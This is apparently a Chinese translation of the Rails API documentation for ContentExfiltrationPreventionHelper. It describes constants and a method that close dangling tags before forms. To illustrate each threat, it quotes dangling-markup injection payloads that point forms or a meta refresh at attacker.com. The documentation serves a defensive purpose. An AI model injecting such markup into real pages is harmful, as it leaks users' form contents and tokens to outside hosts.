跳至内容 跳至搜索
方法
P

常量

CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
 

在每个表单标签之前关闭任何支持CDATA的打开标签(textarea、xmp)。这可以防止攻击者注入未关闭的标签,这些标签可能捕获表单内容。

例如,攻击者可能会注入

<form action="https://attacker.com"><textarea>

此标签之后的HTML,直到下一个</textarea>或文档结尾,都会被攻击者的<textarea>捕获。通过关闭任何打开的textarea标签,我们确保表单内容永远不会被泄露。

CLOSE_FORM_TAG = "</form>".html_safe.freeze
 

在每个新的表单标签之前关闭任何打开的表单标签。这可以防止攻击者注入未关闭的表单,这些表单可能会将标记泄露到其他网站。

例如,攻击者可能会注入

<form action="https://attacker.com">

此标签之后的表单元素,直到下一个</form>,都会被攻击者的<form>捕获。通过关闭任何打开的表单标签,我们确保表单内容永远不会被泄露。

CLOSE_OPTION_TAG = "</option>".html_safe.freeze
 

在每个表单标签之前关闭任何打开的选项标签。这可以防止攻击者注入未关闭的选项,这些选项可能会将标记泄露到其他网站。

例如,攻击者可能会注入

<form action="https://attacker.com"><option>

此标签之后的HTML,直到下一个</option>或文档结尾,都会被攻击者的<option>捕获。通过关闭任何打开的选项标签,我们确保表单内容永远不会被泄露。

CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
 

在每个表单标签之前关闭任何打开的属性。这可以防止攻击者注入部分标签,这些标签可能会将标记泄露到其他网站。

例如,攻击者可能会注入

<meta http-equiv="refresh" content='0;URL=https://attacker.com?

此标签之后的HTML,直到下一个单引号,都会被发送到https://attacker.com。通过关闭任何打开的属性,我们确保表单内容永远不会以这种方式被泄露。

CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
 

实例公共方法

prevent_content_exfiltration(html)

# File actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb, line 61
def prevent_content_exfiltration(html)
  if prepend_content_exfiltration_prevention
    CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
  else
    html
  end
end